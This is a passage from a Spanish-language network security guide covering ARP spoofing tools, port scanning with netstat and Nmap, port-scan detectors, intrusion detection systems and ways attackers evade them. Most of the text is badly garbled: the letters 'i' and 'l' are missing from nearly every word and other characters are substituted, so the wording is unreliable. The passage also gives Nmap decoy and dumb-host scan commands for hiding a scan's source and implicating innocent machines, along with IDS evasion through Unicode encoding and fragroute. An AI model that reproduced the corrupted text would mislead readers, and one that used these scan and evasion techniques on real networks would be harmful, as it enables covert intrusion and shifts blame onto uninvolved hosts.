swtches se revertrn a modo de dfusn y se podr e|ecutar e esnfado fcmente.
,erramientas
Exsten varas herramentas que se pueden encontrar buscando en Googe, que nos permten
manpuar, segn nuestro anto|o, os paquetes de datos que contenen a nformacn sobre a MAC:
Arposon, Arp-fun, Ettercap, Paraste, etc.
Ar&s&oo7
Con a utera Arpspoof podremos generar arp fasos con e fn de esnffar e trfco de un nco
equpo o de una red competa.
ABPoison
http://web.syr.edu/-sabuer/arposon/
ARPoson es una herramenta que se utza con a nea de comandos, y por su nombre, podemos
magnarnos para qu fue creado. Posbta a creacn de respuestas ARP. Con esta utera podremos
especfcar dreccones IP y MAC de orgen y destno.
Etterca&
http://ettercap.sourceforge.net
Es un programa de gran utdad ya que esnfa en redes por swtches y por hubs. Permte varos tpos
de snffeo: por IP, MAC y arp-spoofng. A msmo tempo, puede usarse en entorno grfco o de
comandos.
En e modo grfco, Ettercap muestra un stado de hosts encontrados en a LAN. Para reazar esta
bsqueda, e programa enva un ARP REOUEST (petcn ARP) de as IP tenendo en cuenta a IP de
host donde se est e|ecutando y a mscara de red. Obtenendo os ARP REPLYs podemos componer
a sta de hosts presentes en a red.
Se debe tener cudado con a mscara de red que se use, porque s es de case B (255.255.0.0) e
programa reazar 255x255=65025 petcones, o cua har que se tarde, y ya hay un retardo de 1
msegundo entre petcones. Ettercap es un potente programa que usa una nterfaz de usuaro en
modo texto. Es tan fc de usar que cuaquer scrptkdde puede aprovechar sus venta|as. Todas as
operacones estn automatzadas y as computadoras banco son eegdas desde una sta en men
con todos os hosts detectados en a red oca.
89
Ettercap puede e|ecutar cuatro mtodos de esnfado: IP, MAC, ARP y ARP pbco. As msmo,
automatza os sguentes procedmentos:
1. Inyecta caracteres en as conexones
2. Esnfa sesones encrptadas SSH
3. Recoecta contraseas
4. Mata conexones tambn
Parasite
Paraste es un daemon que vga as petcones ARP en una LAN y automtcamente enva respuestas
ARP fasas. Con esto se cooca a una computadora atacante como ntermedara para cuaquer
computadora que est dfundendo (broadcastng) y hacendo petcones ARP. Con e tempo, esto
resuta en un ataque MIM por toda a LAN y todos os datos en e swtch pueden ser esnfados sn
tanto esfuerzo.
Paraste no hace una mpeza adecuada cuando ha parado su e|ecucn, por o que e resutado es un
DoS de todas as computadoras envenenadas. Esto es debdo a que sus cachs ARP se encuentran
apuntando a una dreccn MAC que ya no est envando sus marcos. Las entradas ARP envenenadas
deben exprar antes de que se resuma a operacn norma.
Para evtar e faseamento, as tabas ARP deben tener una entrada esttca por cada mquna en a
red. Trstemente, en a mayora de as LAN esto no es factbe dado e costo eevado de tratar de
mantener as tabas actuazadas. Agunas pruebas han mostrado que Wnxx acepta respuestas ARP
espofeadas y actuaza a entrada esttca con a MAC fasa, con o que se sabotea e propsto de as
rutas esttcas.
La De7ensa
No exste una defensa unversa contra e ARP spoofng. De hecho, a nca defensa posbe es utzar
entradas ARP esttcas, es decr, que estas no camben. Dado que as entradas ARP esttcas no
pueden ser actuazadas, as respuestas ARP faseadas son gnoradas.
La forma de descubrr que hay un "ntermedaro" en nuestra conexn, ser examnar a cach ARP
de a mquna y comprobar s exsten dos mqunas con a msma dreccn MAC.
La Detecci'n como de7ensa4 Puede empearse a herramenta gratuta Arpwatch cuya accn es a
de escuchar buscando respuestas ARP en una red. Construye una taba con asocacones IP/MAC y as
amacena en un archvo. Cuando a dreccn MAC asocada a una IP es modfcada (evento conocdo
como fp-fop), se enva de nmedato un correo eectrnco a admnstrador de a red.
Paraste causa un montn de fp-fops, de|ando a dreccn MAC de atacante presente en os correos
de Arpwatch. Ettercap causa varos fp fops, pero en una red con DHCP actvado donde estos fp-
fops ocurren a ntervaos reguares, es dfc de detectar.
Exsten en e mercado conmutadores (swtches) ntegentes que evtan en su programacn todo tpo
de engaos con a MAC. Estos conmutadores son una soucn adecuada para evtar este tpo de
probemas de segurdad. Una empresa con os sufcentes recursos, y a a que e preocupe a
segurdad de sus datos en a red, podr adqurr estos conmutadores. Sn embargo hay compaas
que en su presupuesto, o por smpe neggenca, no tenen contempado este tpo de proteccn.
Tambn pueden encontrarse uteras que permten cambar a dreccn MAC de a computadora,
como e GenteMacPro que puede descargarse desde
http://www.4shared.com/fe/13742358/9fde04ab/GenteMACPro_Setup.htm
90
Escaneadores de Puertos
Los programas escaneadores de puertos (port scanners en ngs) son herramentas muy verstes
que ayudan a os operadores y admnstradores de sstemas a comprobar a segurdad de os
servdores. A msmo tempo, son programas mprescndbes en e kt de os hackers o os expertos en
segurdad (que para efectos de nuestro documento, podemos consderaros snnmos).
Los escaneadores de puertos preguntan de forma automatzada s exste un puerto de os efmeros
aberto a a escucha o "habando", aunque estos no nteresen tanto, ya que es de muy poca utdad
saber qu puerto ha eegdo en ese nstante a computadora ob|etvo para descargar una pgna. La
cosa camba cuando a computadora es nuestra.
S apcamos un escaneador de puertos a nuestra propa computadora (apcaros a otras sabemos
que es un deto) podremos obtener una gran cantdad de datos que nos pueden ayudar a saber cmo
se comporta nuestra mquna. Conocer os puertos a a escucha nos proporcona nformacn
detaada acerca de os servcos que tenemos nstaados como servdores. Los sevcos pueden r
desde correo hasta bases de datos, pasando por troyanos, de os que habaremos ms adeante en
este documento. Es por esto que nunca est de ms permanecer atentos a o que sucede a nve TCP
y UDP en nuestra mquna. Esto nos posbta estar a a defensva contra cuaquer atacante.
Conocer os puertos efmeros que haban en nuestra computadora nos proporcona nformacn sobre
o que nuestra mquna est hacendo, s se esta comuncando con otra y a travs de qu puerto o
hace. sto puede ser una sea de que aguen se nos ha nftrado y nos est robando nformacn.
Contra a creenca popuar, dos grandes compaas entran como |uan por su casa a nuestras
computadoras. Lo hace e software de AOL, ncusve e Securty Edton 9.0 y tambn o hace
Mcrosoft, ms frecuentemente de o que quseramos. En base a esto, es convenente curosear un
poco en os puertos de nuestra mquna.
Vamos a dscutr un poco acerca de programas escaneadores de puertos y a forma de saber s estn
escaneando puertos y poder prevenr un ataque.
Netstat
E programa bsco que eva a cabo a tarea de ver os puertos en servco tanto en Wndows como en
Lnux se ama Netstat, aunque su poder y efcaca o muestra ms en Lnux. Desde a consoa de
comandos se nvoca a programa y se e apca una sere de opcones.
C:\>netstat -a
En Lnux, abrmos una termna o consoa de comandos y teceamos
~$ netstat -a
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 *:nfs *:* LISTEN
tcp 0 0 *:netbios-ssn *:* LISTEN
tcp 0 0 Orianna:ipp *:* LISTEN
tcp 0 0 *:smtp *:* LISTEN
tcp 0 0 *:microsoft-ds *:* LISTEN
udp 0 0 *:nfs *:*
udp 0 0 *:netbios-ns *:*
91
Esto nos muestra someramente sobre os puertos abertos y haca dnde se drgen o de donde
venen. En a coumna de a zquerda vemos e protocoo a que pertenecen os puertos, TCP o UDP. En
a muestra anteror vemos a ado derecho, en a cabecera de a coumna, a paabra state (estado), e
cua nos ndca precsamente en qu estado se encuentra e puerto, es decr, s est escuchando o
habando. En este e|empo, e puerto esta en sten, o sea escuchando, por o que deducmos que son
servdores.
Otro comando en Lnux sera e ss que nos dara a msma nformacn, a dferenca es que nos
muestra os puertos a a escucha.:
~$ ss -a
State Recv-Q Send-Q Local Address:Port
LISTEN 0 0 *:nfs
LISTEN 0 0 *:netbios-ssn
LISTEN 0 0 127.0.0.1:ipp
LISTEN 0 0 *:smtp
LISTEN 0 0 *:microsoft-ds
Estados De Los Puertos
Exsten varos estados en que se pueden encontrar os puertos y a escanearos nos podemos
encontrar con os sguentes:
Los puertos pueden estar stenng (escuchando) a modo de servdor. A estos puertos egarn
conexones remotas y es por donde pueden entrar ntrusos a nuestros sstemas. Como
recordaremos, os puertos ba|os (por deba|o de 1024) son servdores.
Otros puertos estarn en conexn estabshed (conexn ya estabecda) y comuncndose con
e servdor. Estos pueden ser os puertos atos.
Los puertos pueden estar cosed (cerrado), o que ndcara que aunque exste un programa
escuchando en eos, no est actvo, e servco que presta ha sdo detendo.
Tambn exste e modo steath (sgoso) en e que no se tene constanca de que exsta e
puerto. Es o me|or para negar toda nformacn. E que escanea nuestros puertos y recbe
este estado, se queda sn a certdumbre de s e puerto est cerrado o aberto para o s en
readad squera exste agn servco escuchando detrs de .
Otros puertos pueden estar en estado Cose_Wat, que ndca que a conexn sgue aberta,
pero e otro extremo nos comunca que no va a envar nada ms.
Tme_Wat es e estado que hace referenca a que a conexn ha sdo cerrada pero que no se
emna de a taba de conexn por s queda pendente ago de recbr. Netstat no nos
nformar de puertos que estn cerrados o en Steath.
Para que Netstat permta a vsuazacn de as conexones en tempo rea, es necesaro nvocaro con
sus opcones, aadndoe un parmetro numrco que e ndcar a programa e ntervao en
segundos en e que se refrescar a nformacn.
-$ netstat -a 3
Nos mostrar a nformacn refrescndoa cada tres segundos. Se usa Ctr+C para detenero.
En as conexones UDP, Netstat no muestra a dreccn remota debdo a que UDP no est orentado a
a conexn.
Cuando en "Dreccn remota" aparezca ago como
usuario:0
sgnfca que a computadora est escuchando en esos puertos.
92
F5Netstat
ste es un programa mucho me|or que e Netstat, cuesta unos pocos dares y se puede descargar
desde a pgna http://www.freshsw.com/xns
X-Netstat es un programa t para comprobar o que se mane|a en nuestro sstema. Muestra en a
parte nferor os puertos TCP y UDP que se mantengan abertos y en a parte superor podemos ver
as conexones que esta reazando nuestra computadora.
Tanto e Netstat como e X-Netstat son de tpo de programas que montorzan, pero tambn estn os
programas que hacen comprobacones de os estados de os puertos, como e Nmap.
Nma&
Este programa es e ms famoso de escaneadores (puede verse en a pecua Matrx Reoaded) y se
puede descargar desde a pgna http://nsecure.org/nmap/
Orgnamente creado para Lnux, fue porteado a Wndows por a empresa Eeye (www.eeye.com),
pero desafortunadamente no tene os msmos resutados. En a pgna ofca de Nmap se encuentra
toda a nformacn en su manua de usuaro, a zona de descarga para a versn Lnux y Wndows e
ncusve a forma de confguraro. Puede ba|arse en foma para comparse o como bnaro, aunque se
recomenda a prmera opcn.
Una de sus mayores venta|as es a posbdad de reazar escaneos de puertos sn ser detectado. Aqu
hay que recordar e bt 0TN que menconamos en e captuo TCP (Transmsson Contro Protoco).
Este bt se usa en e protocoo TCP para que a mquna remota supera que se quera contactar con
ea y comenzara as gestones necesaras. S est de acuerdo en ncar dogo, devueve un paquete
con e par de bts 0TNWA? actvados, confrmando que e puerto est a a escucha. La secuenca
nca en estos casos es comenzar a envar agn dato para estabecer a comuncacn, pero s en
ese precso nstante, en vez de segur envando datos, se enva un paquete con e bt RST actvado,
que es e bt que ndca que a conexn ha termnado o que se rechaza, entonces a conexn
reamente no habr exstdo y no quedar regstrada en e servdor. Habremos comprobado e estado
de os puertos pasando competamente nadvertdos.
Recordemos que e hacker debe conocer qu puertos mantene abertos un servdor. Esto es bsco
para evauar a segurdad de sstema.
Normamente, para un admnstrador, detectar conexones que comprueban sstemtcamente os
puertos de 1 a 49151 -os usados como servdores-, deatan cas con certeza que se est gestando
un ataque. S se ega a estabecer a conexn, quedar regstrada nuestra dreccn IP y se nos
pondr ba|o accn ega. Es necesaro confgurar os servdores para que regstren os escaneos
furtvos que puderan no egar a ser regstrados en os ogs.
Deco) 0cans
Otra de as venta|as de Nmap es a posbdad de reazar escaneos pseudoannmos. S se sospecha
que e sstema banco puede detectar os escaneos ocutos, se puede utzar a tcnca de os decoy
scans (escaneos seueo). sta tcnca consste bscamente en mpcar a agunas mqunas
nocentes que estn actvas en ese momento. Se recopan un buen bonche de dreccones IP y se
anza un escaneo de esta manera:
nmap -D seueo1|, seueo2, seueo3, YO,... seueoN| 123.123.123.123
donde os seueos son as dreccones IP nocentes y YO es a mquna propa. 123.123.123.123 es a
mquna banco. La mquna vctmzada recbr ataques aparentemente anzados desde todas as
dreccones que se hayan puesto, ncuyendo a nuestra. Es una tarea muy dfc e tratar de
encontrar e verdadero orgen de ataque de entre 10 15 dreccones IP.
93
Escaneo Dumb ,ost
Abrmos una consoa en Lnux y teceamos o sguente cudando os espacos:
nmap -s x.x.x.x |:P| 123.123.123.123
Con este tpo de escaneo, conocdo en casteano como Host Tonto, tambn e sstema que nos
hayamos marcado como ob|etvo (123.123.123.123) cree que e ataque provene de un sstema
nocente (x.x.x.x) a travs de puerto :P.
Puede cubrrnos as espadas, pero de msmo modo, puede acarrearnos dversos probemas egaes s
a dreccn pertenece a un host verdadero en uso. Es necesaro que en a dreccn que pongamos en
x.x.x.x escuche un proxy, de os que habaremos ms adeante.
Con a opcn 5O, e Nmap ntentar averguar con qu sstema operatvo estamos tratando. Aunque
muchas veces exsten evdencas caras como puertos que, con e 99% de segurdad, soo son
abertos por Wnxx o Lnux excusvamente.
E|empo:
nmap -O 123.123.123.123
Starting nmap V2.53 by Fiodor@insecure.org
(www.insecure.org/nmap/)
Insufficient response for TCP sequencing (1), OS detection will be MUCH less reliable
Interesting ports on 123.123.123.123 (123.123.123.123):
The 1510 ports scanned but not shown below are in state closed
Port State Service
21/tcp open ftp
80/tcp open http
139/tcp open netbios-ssn
443/tcp open https
Remote OS guesses: Windows NT4 / Win95 / Win98, Windows NT4 SP3, Microsoft NT 4.0 Server SP5 + 2047
Hotfixes.
Cas sempre e puerto 139, pertenecente a NetBos, corresponder con un sstema Wndows, como
veremos ms adeante.
Los troyanos sueen nstaarse para escuchar en os puertos atos. Se supone que estos puertos son
soo usados para hacer de centes, y de esto se aprovechan os programas de este tpo, para pasar
nadvertdos a herramentas escaneadoras.
Nmap nos da a posbdad de rastrear un rango de IPs envndoes un png, que no es de utdad
para escanear puertos, pero permte saber qu mqunas estan vvas y responden a estos pngs. Es
posbe confgurar e servdor para que gnore taes pngs.
En Wnxx as opcones dferen un poco con respecto de que se cre para Lnux, pero se ofrecen
resutados muy smares. Para obtener a ayuda de programa teceamos:
C:\>programas\nmap1>nmap -wn_hep
94
Exsten varos tpos de escaneadores de puertos y cada uno tene opcones smares, agunos traen
ms o menos opcones. S e|ecutamos un escaneador de puertos en nuestra propa mquna y uego
e X-Netstat a msmo tempo, se podrn ver a cantdad de puertos (o sockets) cente que se abren
en segundos, todos en busca de puertos servdores a a escucha. en a mquna remota. Esta es una
buena manera de comprobar a dferenca entre un montorzador y un escner de puertos.
Los Puertos ) la 0eguridad
Los puertos abertos en un servdor son como una puerta de entrada por donde ngresan as
conexones. S tenemos en nuestro servdor muchos puertos abertos, estaremos exponendo a
nuestra mquna a pegro. Esto es anogo a de|ar nuestra casa con puertas y ventanas abertas de
par en par mentras dormmos en a noche.
Los puertos que debemos tener abertos son aqueos que vayamos soamente a necestar. S
montamos una pgna web, sera e puerto 80; s tenemos un servdor FTP, e 21, etc. Estas
prevsones no son porque e tener puertos abertos sea un probema de segurdad en s, sno por os
programas que escuchan detrs de eos.
Hay que recordar que os puertos que estn habando, pero que no estn a a escucha, son os que
mane|a e cente y no son ndcatvo de que puedan entrar a travs de eos (porque no hay un
programa servdor atrs escuchando en eos), smpemente ndcan que nuestra mquna se est
comuncando con otra.
Es necesaro tener en mente que una cosa es conexn y otra dferente es a comuncacn. E
programa X-Netstat muestra en a parte nferor de a pantaa os puertos que se tenen abertos. Hay
que mantenerse atentos a os Remote Hosts en busca de dreccones sospechosas donde acudesen
datos. Esto nos ndcara que nuestra mquna se ha conectado a un servdor desconocdo sn nuestra
autorzacn. Pero no es motvo de aarma ya que se estabecen centos de conexones sn que
seamos concentes de eo. Un e|empo de esto es cuando se carga una pgna web con pubcdad, en
vez de tener un banner en a propa pgna, se nos redrge a un servdor especa de banners
pubctaros, por o que es nuestra mquna a que abre un nuevo puerto haca ese servdor sn
darnos cuenta.
Escaneo @asado en .eb
Cuando se haba de "nuestro servdor", se ncuye, por supuesto, a nuestra computadora de escrtoro
o aptop. Un hacker que ve a nuestra mquna como en un servdor de datos, soo tene que dar con
a manera de que esos datos es sean servdos, combnar os centes y as tcncas para poder
comuncarse a travs de agn puerto aberto y extraer os datos que desea.
S no dsponemos de un escner de puertos en a mquna donde estamos traba|ando y no podemos
nstaar nada, ya sea porque es pbca o smpemente debdo a que no nos pertenece, podemos
hacer uso de os escaneadores de puertos que exsten en Internet. Nos permtrn conocer, vstando
una pgna, os puertos que se encuentran abertos en nuestro sstema. S nos conectamos desde una
red nterna, nos mostrar e gateway o proxy que nos proporcone a conexon. S usamos un router,
en veces podr boquear tambn puertos, por o tanto, este tpo de escaneo no es muy fabe para
comprobar os puertos de a propa mquna, pero s que nos da una dea de o que e mundo exteror
puede egar a saber de nosotros.
En veces, por dstntas crcunstancas, cortafuegos, prvegos, etc., no tene porque concdr o que
nos muestra Nmap e|ecutado ocamente y sobre nuestra propa mquna con os resutados que
personas o mqunas con otra dreccn IP pueden egar a saber de nosotros. Debemos tener en
mente que s nuestra mquna hace de cente y servdor a a vez, puede tener acceso a puertos o
servcos que a una mquna remota no e estn permtdos. Lo verdaderamente pegroso sera a
revs. Oue agn su|eto, por e|empo, confgurara un servco para que soo admta conexones desde
su dreccn IP. Para e resto de as personas o dreccones IP, e puerto estara cerrado o no exstra y
so tendra permso expcto para estabecer una conexn.
95
Exsten muchos escaneadores web, pero debemos tener cudado de que soo haga e escaneo sobre
nuestra propa IP y no sobre a proxy-cache de nuestro DSL de a compaa de tefonos. Uno de eos
es http://scan.sygate.com./probe.htm. En muchos casos ser capaz de averguar nuestro Sstema
Operatvo, nombre de a PC y es en estos casos donde debemos preocuparnos porque es demasada
nformacn a que tene.
Detecci'n ) 0eguridad contra Esc6neres
No es necesaro ser un profeta para poder deducr que un escaneo de puertos es cas e preudo de
un ataque nmnente, por o que debemos tomar accones ante e atacante.
Exsten varos programas en e Internet que nos posbtan detectar os accesos sospechosos a
puertos, esto es cuando se accede a muchos puertos segudos o consecutvos o, sencamente, a
muchos puertos a a vez desde una mquna remota. Esto debe aertarnos porque para as
comuncacones habtuaes se debe acceder soamente a puerto necesaro y no de modo aeatoro a
aqueos puertos que estn o pueden estar cerrados. Los sguentes programas caen dentro de a
categora de IDS (Intruson Detecton Systems) o Sstemas de Deteccn de Intrusos, tema de os que
nos ocuparemos en e sguente captuo.
Portsentr)
E Centnea de Puertos en espao. Es un programa que, en nuestra computadora, detectar e tpo
de actvdad que hemos menconado anterormente. Se pone a escuchar en os puertos no usados
para vgar as conexones, qun se est ntentando conectar y de qu manera. Estas accones no se
deben confundr con as de un cortafuegos aunque as actvdades sean smares. S detecta e tpco
movmento sospechoso de un escner como son e acceso a puertos consecutvos de manera rpda
o acceso a puertos cerrados, boquear a dreccn IP de donde provenga e escaneo. de este modo
no aceptar ms conexones por su parte, sean o no egtmas. stas accones de negacn son as
que se evan a cabo en con|unto con un cortafuegos. E programa meter a IP en una sta negra
(back st) con a que contrastar y cote|ar todos os accesos mentras no e especfquemos o
contraro.
De msmo modo, e programa podr responder de otras formas a atacante, no soo denegndoe e
acceso. Sendo que es totamente confgurabe, se pueden emprender accones como envare
mensa|es, ntentos de conexn y hasta devovere e "favorcto". La cuestn aqu es de|aro todo por
a paz, no tomar represaas, y soo negare e acceso, esto es o ms recomendabe y o ms sano.
atacante se dar cuenta de que no es ben recbdo y se ae|ar. Sabr que o hemos descuberto. De
nada vae servrse un pato fro de venganza.
Por otro ado, una de as desventa|as de portsentry es que puede provocar muchos probemas s no
es confgurado adecuada y concenzudamente. No es nfabe. Agunas apcacones egtmas
ntentan acceder a puertos no usados y sern detectadas por error y consderadas por e programa
como atacantes. Incuso puede egar a boquear os servdores DNS y como consecuenca no poder
navegar por a web.
Portsentry no est por e momento dsponbe para a pataforma Wndows. Puede ser descargado
desde a pgna sguente, porque a parecer su pgna ofca ha desaparecdo.:
http://packetstormsecurty.org/UNIX/IDS/portsentry-1.1tar.gz
Port@lo*er
Este es un programa muy parecdo a Portsentry, pero es para Wndows. A dferenca de ste,
PortBoker no es tan dnmco a a hora de responder. Su mane|o e nstaacn son consderabemente
sencos. Una cosa que hay que tener en cuenta es que debe e|ecutarse |usto despus de haberse
conectado a Internet, de otra forma e programa no funconar correctamente.
96
Sstemas de Deteccn de Intrusos
Todo Sstema Operatvo cuenta con un proceso de regstro y amacenamento de eventos y o hace a
travs de btcoras tambn conocdas como logs. En cuestones de segurdad, estos regstros
permten conocer as dstntas vunerabdades y ayudan a prevenras en o futuro.
En un prncpo, a compaa estadoundense Be Teephone System decd, en a dcada de os
cncuenta, automatzar os procesos de regstro de eventos en sus mqunas. La computadora era
capaz de amacenar cronogcamente os eventos mportantes que ban ocurrendo da a da. A esto
se e conoc como Eectronc Data Process (!roceso =lectrnico de Datos).
Anterormente, todos os reportes sobre eventos ocurrdos en una computadora eran regstrados y
entregados por tcncos en pape. Sn embargo, no fue sno hasta 1980 cuando |ames P. Anderson,
tras estudar detendamente e probema de anss de as btcoras de regstro. de un mecansmo
para que automatzara a tarea de revsn de regstros. Con os regstros se estudaba e
comportamento de os usuaros, se creaban patrones estadstcos para defnr e comportamento de
estos y detectar s aguen haba secuestrado una cuenta. Esta dea ncara e desarroo de os
futuros IDS, sgas en nges de Sstemas de Deteccn de Intrusos -Intrusson Detecton System.
Los IDS se encargan de detectar posbes ntrusones a sstema que puderan ser ataques o abusos,
como e escaneo de puertos, y os regstra en un og que puede ser revsado posterormente por e
admnstrador o os operadores de sstema. Agunos programas emten una sea sonora de aarma
aunque normamente se mtan a regstrar e evento en una base de datos.
Para que un IDS sea efcaz, es necesaro confguraro adecuadamente, ndcare os patrones que se
sospechan pueden ser pegrosos. Estos patrones deben de ser actuazados reguarmente debdo a
que a daro surgen nuevas formas de ataque. Cabe a posbdad de confgurar a detector para que
nos enve por ema un reporte.
Se recomenda defnr cauteosamente o que puede ser un ataque y o que no, pues se pueden
generar fasos postvos. Los fasos negatvos, ocurren cuando e sstema no detecta un ataque y o
de|a pasar.
!unciones de los ED0
Los IDS proporconan tres funcones esencaes de segurdad: montorzan, detectan y responden a a
actvdad que pudera consderarse sospechosa.
<onitoreo: E IDS se mantene vgante de a red, escudrando e trfco en busca de cuaquer
paquete susceptbe de contener en su nteror cdgo no deseado. Ou vsta a qun y cundo o
hace, qun vene desde e exteror y qu es o que busca en nuestra red, etc. En este sentdo acta
gua que un Snffer (que detaaremos ampamente ms adeante). De hecho, muchos gustan de
utzaros como ta.
Detecci'n: Los IDS empean potcas (que son regas totamente confgurabes desde e msmo
sstema) que ayudan a defnr as actvdades sospechosas de todo ese trfco que provocaran una
aarma s es que concden.
Bes&uesta: Esta aarma puede venr en forma de e|ecucn de archvos en e sstema, pgnas htm
dnmcas con grfcos o ncuso correos con a nformacn necesara. Tambn podra ncur a
expusn de un usuaro de sstema, e asamento de a mquna medante a desconexn de a
tar|eta de red, etc.
97
Un e|empo concreto podra ser a deteccn de un ataque a travs de URL
21
. S nuestra pgna web
tene un drectoro especa amado www.mdomno.com/admn/ desde donde actuazamos va web
os contendos, cuaquer ntento de acceso dferente a nuestro estar desautorzado por naturaeza.
Se podra crear una rega en nuestro IDS que buscara un "GET /admn/HTTP/1.1" en a red, o que nos
ndcara cas probabemente aguna avesa ntencn por parte de a persona que haya orgnado a
petcn. Pero agunos de estos ataques pueden pasar nadvertdos s e atacante tene un poco de
magnacn.
Por e|empo hacendo uso de uncode. E uncode puede verse bscamente como e con|unto de
caracteres ASCII donde se asoca cada smboo con un nmero. Uncode tambn proporcona un
nmero para cada caracter, pero estos son muchos ms, abarcan etras de muchos afabetos y es
ndependente de a pataforma, e programa o engua|e. E uncode se nvent a partr de a
popuardad de Internet y a necesdad de os servdores de recbr petcones en cuaquer doma de
paneta. Podramos traducr os caracteres en su forma hexadecma, por e|empo, a @ (arroba) es
%40; e espaco, %20; e "." es %2e; a etra a es %61 y a b es %62. Como exste una equvaenca,
es exactamente o msmo poner
GET /admn/HTTP/1.1
que
GET /%61dmn/HTTP/1.1
En readad, usando uncode sobre IIS, habra hasta 83,060,640 formas dferentes de representar, por
e|empo, "AEIOU".
lasi7icaciones de los ED0
Una de as muchas casfcacones que se pueden hacer de os IDS es por su ndvduadad o
coectvdad, es decr, s se dedcan a montorzar a uno o ms hosts en una red. Exsten programas
que montorzan os eventos generados en una soa computadora, dan formato a os resutados y
generan aarmas. Estos son amados ,ost ED0 y son mpementados en sstemas que poseen datos
muy crtcos.
Los Host IDS son exceentes como defensa contra os raptos de cuentas de usuaro o deteccn de
archvos aterados, pero tenen a gran desventa|a de que sobrecargan as mquna. Dentro de os
ms famosos se encuentran Dragon 0-uire y Event.atc+, para a pataforma Wndows, y Tri&Gire
y 0.AT,, ste tmo muy confabe y senco de usar.
Los A&&lication ED0, son una modadad recentemente aparecda que posbta controar a entrada
(nput) que se ntroduce en cuaquer apcacn, en busca de tcncas sospechosas.
Sn duda, os ms nteresantes son os NIDS, o Network IDS, que vgan e trfco de red en vez de
soo una mquna. Para una organzacn que posea servdores conectados a Internet, resuta mucho
ms nteresante conocer qu trfco crcua por sus redes. Igua s exste un servdor de datos en una
red oca, aunque permanezca asada de mundo exteror.
Una buena muestra de programas de este tpo puede ser NetBanger, Dragon, N!B y 0nort
(www.snort.org) de que habaremos ms adeante por ser uno de os IDS gratutos ms popuares y
me|or conocdo.
21 Uniform Resource Locator (Localizador Uniforme de Recursos) Sistema unificado de identificacin de recursos en la red. Las
direcciones se componen de protocolo, FQDN y direccin local del documento dentro del servidor. Este tipo de direcciones permite
identificar objetos WWW, Gopher, FTP, News. Ejemplos de URL son: <http://www.anaya.es> o <ftp://ftp.ati.>
98
Desventajas de los ED0
No es fc mpantar os IDS en sstemas crtcos o con certas caracterstcas partcuares. Por
e|empo, anazar todo e trfco de una red en tempo rea, o e trfco que entra y sae de un soo
host, puede hacer ponderantemente ms ento e rendmento. No todos recurren a tempo "rea".
Exsten IDS que guardan as btcoras de regstro en otes que revsan cada certo tempo
especfcado.
Por otro ado, en redes en as que os datos va|an demasado rpdo, e IDS puede tener probemas
para capturar todo e trfco necesaro. En redes conmutadas (por swtches), donde os dstntos
segmentos de a red no tenen a capacdad de "ver" e resto de trfco, sera un gasto desorbtado
coocar un IDS en cada segmento. Esto es adems de os probemas aaddos de tratamento
unfcado de a nformacn que proporconar cada uno.
Un desventa|a, como con cuaquer herramenta destnada a a proteccn de sstemas, es a propa
vunerabdad ante ataques destnados a burar a vganca de IDS, ya sea saturndoo de trfco a
anazar (Denegacn de servcos, ataque que descrbremos ms adeante) o ben medante
herramentas que dsmuan a nformacn que deambua por a red, vovendo nvsbes sus
verdaderas ntencones.
Los IDS sufren de seras dfcutades ante e probema de cfrado. A basarse su funconamento en a
comparacn de patrones conocdos, e hecho de que e ataque se eve a cabo de manera cfrada
(SSH o SSL
22
), por e|empo, anua cas toda posbdad de reconocmento de ataques.
Tampoco pueden hacer mucho en contra de a cuestn de fragmentacn de paquetes TCP. En 2002,
un su|eto amado Dug Song program una herramenta que poda eudr todos os IDS comercaes.
Lo que hace e programa es trocear a nformacn en paquetes ms pequeos, de as formas ms
enrevesadas posbes. E IDS tene que reordenar a nformacn para poder procesara, y s a tarea es
muy compcada, faa en e ntento.
E programa puede ser descargado desde: http://www.monkey.org/-dugsong/fragroute/
Hasta e momento, e programta cumpe con su cometdo a a hora de burar una muy buena
cantdad de IDS.
Programas 9tiles
Tanto en Wnxx como en Lnux, podremos encontrar programas que se encargan de estudar os ogs
en tempo rea y envan aertas confgurabes cuando encuentran patrones predefndos. Dos de os
me|orctos son e Swatch para Lnux y e Eventsentry para Wndows. Swatch puede descargarse
desde http://swatch.sourceforge.net y se e|ecuta de a manera sguente:
swatch -c /etc/swatchrc -t /var/og/messages
que ndcan e archvo de confguracn y desde donde se amacenan os regstros. E archvo de
confguracn tene un aspecto muy parecdo a esto:
watchfor /IDS/
echo bold
mail addresses=admin,subject=-
Alerta Snort!
exec echo $0 &gt;&gt; /var/log/IDS-scans
22SSL Secure Socket Layer (Capa de Conexin Segura) Protocolo creado por Netscape con el fin de posibiltar la transmisin cifrada y
segura de informacin a travs de la red.
99
Swatch buscar e patrn IDS en os ogs. S o encuentra o mostrar en negrtas (bod), envar un
correo con un asunto y e|ecutar o que se e dga. En este caso, a nea que contenga e patrn ser
amacenada aparte en 2var2log2ED05scans.
Eventsentry es un programa para wndows fc de usar y cuya versn me|orada es de pago y se
puede descargar desde http://www.netkus.net/products_downoads.htm?SESSION= .
ED0 ) los Desbordamientos de @97ers =@u77ers>
Los IDS tambn pueden prevenr os desbordamentos de bfers (Buffer Overfow). Hay que recordar
que estos son faos en os programas que provocan un error en a pa (stack) de sstema, de modo
que a atacante se e facta tomar e contro de puntero de a pa y provocar que apunte haca e
cdgo que desee e|ecutar sobre a vctma. Por o genera, e bfer donde se nyecta e cdgo es
mayor que e cdgo a nyectar, por o que se sueen usar nstruccones de NOP (No Operaton) para
hacer enca|ar todas as pezas en e procesador. Esto requere conocmento de engua|e
ensambador
23
(assember) ya que se traba|a a muy ba|o nve, en cdgo mquna. En a arqutectura
de os procesadores x86, a nstruccn NOP se smboza con %90, por o que una cadena arga de
"%90" va|ando haca un host, no aspecta nada bueno. Para prevenr esto, una smpe rega en e IDS
es sufcente.
E probema surge con os shellcodes polimrficos. Estos tenen 3 eementos dferencadores que os
hacen dfces de detectar: La parte NOP consecutvos es convertda en una sere aeatora de
nstruccones que tambn concuyen en un efecto nuo para e procesador, por o que resutan
equvaentes. E cdgo she est ahora cfrado, o que hace que se converta en un montn de
caracteres aeatoros aparentemente sn sentdo. Por tmo, e propo motor que descfra e cdgo
(que puede varar de un expot a otro) usando tcncas smares a as de os vrus. Contra estas
tcncas se estn nvestgando formas de detectar estos cdgos ta y como se hace con as frmas de
os vrus.
A a hora de reazar abores de forense posterores a un ataque, os IDS resutan de gran ayuda para
determnar e acance de dao y hasta poder dar caza a ntruso. Un eaborado regstro de ncdencas
ocurrdas en a red, con e contendo de os paquetes de cada vsta es mprescndbe para reazar
